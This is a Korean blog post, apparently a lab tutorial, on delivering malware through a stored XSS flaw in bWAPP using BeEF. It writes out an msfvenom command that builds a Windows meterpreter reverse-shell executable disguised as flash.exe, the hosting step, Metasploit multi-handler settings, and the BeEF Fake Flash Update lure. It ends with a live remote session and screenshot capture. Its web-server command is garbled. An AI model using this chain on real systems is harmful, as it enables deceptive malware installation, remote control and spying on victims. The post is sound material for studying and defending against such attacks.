min8282

BeEF 활용 악성코드 공격(2) 본문

Security/Application

BeEF 활용 악성코드 공격(2)

min8282 2025. 2. 18. 18:07

이 실습은 Stored XSS 취약점이 존재하는 게시판(bWAPP/XSS-Stored(Blog))을 BeEF와 함께 활용하는 환경을 가정한다.


악성코드 파일 생성

우선, 악성코드 파일을 생성하기 위해 아래 명령어를 사용한다.

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.129 LPORT=5555 -f exe -o flash.exe

 

위 명령어를 입력하면 flash.exe 파일이 생성된다.


웹 서버 생성

클라이언트가 flash.exe 파일을 다운로드할 수 있도록 웹 서버를 하나 만든다.

python -m http://192.168.183.129:8000

웹 브라우저에서 http://192.168.183.129:8000/flash.exe 주소로 접속하면 악성코드 파일을 다운로드할 수 있다.

 

이제 웹 서버가 열려 있어야 하므로, 서버를 종료하지 않도록 주의한다.


Multi Handler 설정

다른 터미널을 열어 msfconsole을 실행한다.

sudo msfconsole

 

 

 

 

이후 멀티 핸들러를 설정한다. 멀티 핸들러 옵션을 확인하기 위해서는 show options를 사용하면 볼 수 있다.


다음으로, 호스트와 포트 번호를 설정한다.

set LHOST 192.168.183.129

set LPORT 5555

set PAYLOAD windows/meterpreter/reverse_tcp

마찬가지로 페이로드도 설정한다. 설정이 완료되었으면 exploit 명령어를 입력하여 대기 상태로 만든다.


BeEF를 이용한 Adobe Flash Update 위장

BeEF(브라우저 익스플로잇 프레임워크)를 사용해 flash.exe 파일의 URL을 Adobe Flash Player 업데이트로 위장하여 공격할 수 있다. 공격 시나리오는 아래와 같이 진행한다.

  1. BeEF에 클라이언트 브라우저가 연결되었을 때, Flash Update 모듈을 사용한다.
  2. 해당 모듈의 커스텀 페이로드 URL에 http://192.168.183.129:8000/flash.exe를 입력한다.
  3. 클라이언트가 위장된 Adobe Flash 업데이트 알림을 받게 되며, "업데이트" 버튼을 클릭하면 악성코드가 다운로드된다.

이런 식으로 악성코드 다운로드 링크를 업데이트 알림으로 위장하여 배포할 수 있다.

클라이언트(윈도우)가 악성 스크립트가 있는 게시판에 있다면

beEF control pannel에서 클라이언트(윈도우)가 Online Browser에 연결된다.

 

공격자(kali)는 Fake Flash Update 모듈을 사용해   flash.exe 파일의 URL을 Adobe Flash Player 업데이트로 위장하여 공격한다.

 

클라이언트가 위장된 Adobe Flash 업데이트 알림을 받게 되며, "INSTALL" 버튼을 클릭하면 악성코드가 다운로드된다.

 

*실행 중인 웹 서버에서 로그를 확인할 수도 있다.


클라이언트 악성코드 실행

클라이언트(윈도우)가 위장된 Adobe Flash 업데이트 메시지를 통해 flash.exe 파일을 다운로드한 후 실행하면, 보안 경고가 나타날 수 있다. 이 경고는 테스트 환경이 취약하게 설정되어 있기 때문에 나타난다. 경고창에서 "Run Anyway"를 클릭하면 파일이 실행된다.


연결 및 명령어 실행

파일이 정상적으로 실행되면 meterpreter 세션이 활성화되고, 연결이 완료된 것을 확인할 수 있다. 이제 다양한 명령어를 통해 클라이언트의 정보를 수집할 수 있다.

예를 들어, screenshot 명령어를 입력하면 클라이언트 화면 스크린샷이 칼리 리눅스에 저장된다.